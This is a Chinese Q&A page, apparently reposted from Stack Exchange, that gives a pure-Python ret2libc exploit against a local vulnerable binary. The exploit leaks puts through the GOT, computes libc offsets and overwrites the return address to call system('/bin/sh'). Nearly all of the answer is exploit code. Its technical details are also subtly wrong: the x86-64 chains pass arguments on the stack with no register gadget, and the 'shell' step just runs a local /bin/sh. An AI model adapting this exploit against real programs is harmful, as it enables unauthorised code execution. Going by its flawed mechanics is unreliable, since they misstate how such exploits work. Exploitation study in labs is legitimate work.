如何用Python内置库实现与缓冲区溢出程序的子进程通信?
纯Python内置库实现缓冲区溢出漏洞利用方案
核心问题根源
用subprocess通信时出现的阻塞、IO错误、stdin提前关闭等问题,本质是默认管道缓冲机制、进程IO处理方式不符合漏洞利用的交互要求——比如进程输出滞留在缓冲区导致脚本无法读取,或者stdin未保持打开导致进程提前退出。
分步解决实现
1. 正确配置进程启动参数
必须关闭管道缓冲,同时保持stdin/stdout的双向管道打开,避免进程因缓冲或IO关闭异常退出:
import subprocess import os def start_target(): # 启动编译后的目标程序,bufsize=0禁用缓冲 return subprocess.Popen( ["./vuln"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=0, preexec_fn=os.setsid # 隔离进程组,避免终端信号影响 )
2. 实现字节转换工具(替代pwntools的p64/u64)
用Python内置方法实现64位地址与字节串的转换:
def p64(addr): return addr.to_bytes(8, byteorder='little') def u64(data): return int.from_bytes(data, byteorder='little')
3. 第一阶段:泄露libc基址
构造payload覆盖返回地址,调用puts输出其GOT表地址,再跳回main让程序保持运行等待二次攻击:
def leak_libc_base(proc): # 替换为你的程序实际地址:缓冲区填充长度、plt_puts、got_puts、main入口 padding = b'A' * 0x48 plt_puts = 0x401030 got_puts = 0x404018 main_addr = 0x401166 payload = padding + p64(plt_puts) + p64(main_addr) + p64(got_puts) # 发送payload并强制刷新缓冲区 proc.stdin.write(payload) proc.stdin.flush() # 逐字节读取输出,直到获取泄露的地址 output = b'' while True: chunk = proc.stdout.read(1) if not chunk: break output += chunk # 根据程序输出特性判断泄露结束,比如遇到换行 if b'\n' in output: break # 解析64位地址(取输出末尾8字节,补全空字节) puts_leak = u64(output[-8:].strip().ljust(8, b'\x00')) # 替换为你的libc中puts的偏移(通过objdump或libc-database获取) libc_base = puts_leak - 0x809c0 return libc_base
4. 第二阶段:获取交互式shell
用泄露的libc基址计算system和/bin/sh的地址,构造payload触发shell:
def spawn_shell(proc, libc_base): # 替换为你的libc中system和/bin/sh的偏移 system_addr = libc_base + 0x50d60 binsh_addr = libc_base + 0x1d8678 padding = b'A' * 0x48 # 填充8字节垃圾数据覆盖返回地址的下一个栈位置 payload = padding + p64(system_addr) + b'B'*8 + p64(binsh_addr) proc.stdin.write(payload) proc.stdin.flush() # 重定向标准IO到进程管道,实现交互式shell os.dup2(proc.stdin.fileno(), 0) os.dup2(proc.stdout.fileno(), 1) os.execvp('/bin/sh', ['/bin/sh'])
5. 主流程整合
if __name__ == "__main__": proc = start_target() libc_base = leak_libc_base(proc) spawn_shell(proc, libc_base)
常见问题排查
- 脚本阻塞:确保
bufsize=0关闭缓冲,每次write后调用flush()强制输出;读取输出时用逐字节读取,避免依赖readline()的行缓冲逻辑。 - 进程提前退出:检查payload地址是否正确,或添加
preexec_fn=os.setsid隔离进程组,避免终端信号终止目标程序。 - 地址解析错误:根据程序实际输出格式调整地址截取逻辑,比如有些程序会输出多余字符,需精准定位泄露的地址字节。
内容的提问来源于stack exchange,提问作者ma4stro
相关产品推荐
相关产品推荐

